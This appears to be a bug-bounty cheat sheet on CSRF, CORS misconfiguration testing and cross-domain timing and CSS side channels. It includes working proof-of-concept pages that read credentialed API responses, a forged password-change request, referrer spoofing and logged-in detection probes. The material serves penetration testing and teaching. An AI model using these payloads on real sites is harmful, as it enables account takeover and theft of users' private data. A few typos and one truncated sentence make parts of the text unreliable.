CSRF
CSRF (Cross Side Request Forgery)¶
Simple Requests¶
- uses GET, HEAD or POST method
- doesn’t have headers other than the small subset defined in the specification (any custom or Authorization header breaks this condition)
- the only allowed values for Content-Type header are application/x-www-form-urlencoded, multipart/form-data, text/plain (application/json breaks this condition)
Attacks:
Using an img tag and using the href will make a simple get request to the server with the users cookies.
Using a form post will allow a post to the website with Content-Type header of application/x-www-form-urlencoded.
Usign the Navagator.sendBeacon()
allows the bypass of allowing the Content-Type application/json to be used with a simple request.
function logData() {
navigator.sendBeacon("/log", analyticsData);
}
Preflighted Requests¶
Sends an additional preliminary OPTIONS request (“preflight request”) in order to determine whether the actual request (“preflighted request”) is safe to send.
Example Preflight Request:
OPTIONS /api/monsters HTTP/1.1
Host: cookiemonster.com
Origin: https://www.sesamestreet.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type
Example Preflight Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.sesamestreet.com
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: Content-Type
Performance note: sending a preflight request every time can be a performance overhead. This can be mitigated by caching preflight requests using Access-Control-Max-Age response header.
Testing CORS¶
Add a Custom Origin header and see if a HEAD request returns Access-Control-Allow-Origin or Access-Control-Allow-Credentials headers
curl --head -s 'http://example.com/api/v1/secret' -H 'Origin: http://evil.com'
Check to see what the server responds with in the Access-Control-Allow-Origin:
(if anything) and if so, check if Access-Control-Allow-Credentials: true
is present.
PoC¶
If it is trusting arbitrary origins with allow-credentials set to true, then host this HTML as a proof of concept.
XMLHttpRequest PoC:
<!DOCTYPE html>
<html>
<head><title>BugBounty CheatSheet</title></head>
<body>
<center>
<h2>CORs POC</h2>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://example.com/api/v1/topsecret", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</center>
</body>
</html>
Fetch Cross Domain File Upload PoC:
var myFormData = new FormData();
var blobData = new Blob(["TestData"], {type: 'text/html'})
myFormData.append('file', blobData, "filename.html");
myFormData.append('otherdata', "More Data")
fetch('http://192.168.0.90/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change', {
method: 'post',
body: myFormData,
mode: "no-cors",
credentials: "include"
});
Test jQuery CORS:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>Test HTML File</title>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
<script>
Object.defineProperty(document, "referrer", {get : function(){ return "test2.com"; }});
$.ajax({
url: 'https://httpbin.com/get',
type: 'GET',
data: "TESTDATA",
async: true,
success: function(msg) {
alert(msg);
}
});
location.href = "https://test.com";
</script>
</head>
<body>
<p>This is a very simple HTML file.</p>
</body>
</html>
Cross-Domain timing¶
Using Cross Domain loads and monitoring the time it takes to load the page can tell if the user is logged in or not.
Using Cross Domain loads and monitoring the time it takes to retrieve the page can tell if the user has recently been on that page and is in the cache.
Using Cross Domain loads and with the onload and onerror handlers can see if user is logged in to the website.
For a GET request, a good bet is the tag plus the onerror() / onload() events.
For a POST request, you can direct the post to an
Example:
<script>
start_timer()
</script>
<img href="endpoint" onloadstart="stop_timer()" onloadend="stop_timer()" onload="stop_timer()" onerror="stop_timer()">
Cross-Domain CSS¶
Using Cross Domain CSS and monitoring the CSS values that are different when the user is signed in.
<html>
<head>
<link rel="stylesheet"
href="http://home.myspace.com/index.cfm?fuseaction=user"/>
<script>
function func() {
var ele = document.getElementById('blah');
alert(window.getComputedStyle(ele, null).getPropertyValue('margin-bottom'));
}
</script>
</head>
<body onload="func()">
<div id="blah" class="show">
</body>
</html>
If you are logged in, you'll see "3px" vs. "0px" otherwise.